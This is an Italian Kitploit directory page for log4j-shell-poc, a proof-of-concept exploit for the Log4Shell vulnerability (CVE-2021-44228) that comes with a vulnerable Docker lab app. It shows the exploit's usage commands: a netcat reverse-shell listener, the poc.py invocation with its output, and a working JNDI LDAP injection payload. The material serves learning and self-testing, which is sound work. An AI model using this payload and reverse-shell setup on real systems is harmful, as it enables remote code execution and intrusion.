Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j-shell-poc — Una prova di concetto per la vulnerabilità CVE-2021-44228. | Kitploit
Strumenti/GitHubGitHub/kozmer/log4j-shell-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneArchived
GitHubkozmer/log4j-shell-poc

log4j-shell-poc

Una prova di concetto per la vulnerabilità CVE-2021-44228.

Vedi Repository
1.9k5412 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

log4j-shell-poc

Una Proof-Of-Concept per la vulnerabilità CVE-2021-44228 scoperta di recente.

Recentemente è stata scoperta una nuova vulnerabilità in log4j, una libreria di logging java molto utilizzata in prodotti come elasticsearch, minecraft e molti altri.

In questo repository è presente un'applicazione vulnerabile di esempio e un exploit proof-of-concept (POC) della stessa.

Proof-of-concept (POC)

Come PoC è presente un file python che automatizza il processo.

Requirements:

root@kitploit:~
pip install -r requirements.txt

Usage:

  • Avvia un listener netcat per accettare una connessione reverse shell.
root@kitploit:~
nc -lvnp 9001
  • Lancia l'exploit.
    Nota: Affinché funzioni, l'archivio java estratto deve chiamarsi jdk1.8.0_20 e trovarsi nella stessa directory.
root@kitploit:~
$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on 0.0.0.0:1389

Questo script configurerà per te il server HTTP e il server LDAP, e creerà anche il payload che potrai incollare nel parametro vulnerabile. Dopo di che, se tutto è andato bene, dovresti ottenere una shell sulla porta specificata (lport).


Applicazione vulnerabile

È presente un Dockerfile con la webapp vulnerabile. Puoi usarlo seguendo i passaggi seguenti:

root@kitploit:~
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc

Una volta in esecuzione, puoi accedervi su localhost:8080


Ottenere la versione di Java.

Oracle, per fortuna, fornisce un archivio per tutte le versioni precedenti di java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Scorri verso il basso fino a 8u20 e scarica i file appropriati per il tuo sistema operativo e hardware. Screenshot from 2021-12-11 00-09-25

Nota: È necessario creare un account per poter scaricare il pacchetto.

Una volta scaricato ed estratto l'archivio, puoi trovare java e alcuni binari correlati in jdk1.8.0_20/bin.
Nota: Assicurati di estrarre la cartella jdk in questo repository con lo stesso nome affinché funzioni.

root@kitploit:~
❯ tar -xf jdk-8u20-linux-x64.tar.gz

❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)

Disclaimer

Questo repository non è inteso come un exploit one-click per CVE-2021-44228. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, forse, testare le proprie applicazioni (tuttavia esistono applicazioni migliori per questo scopo, ad esempio: https://log4shell.tools/).

Scarica lo strumento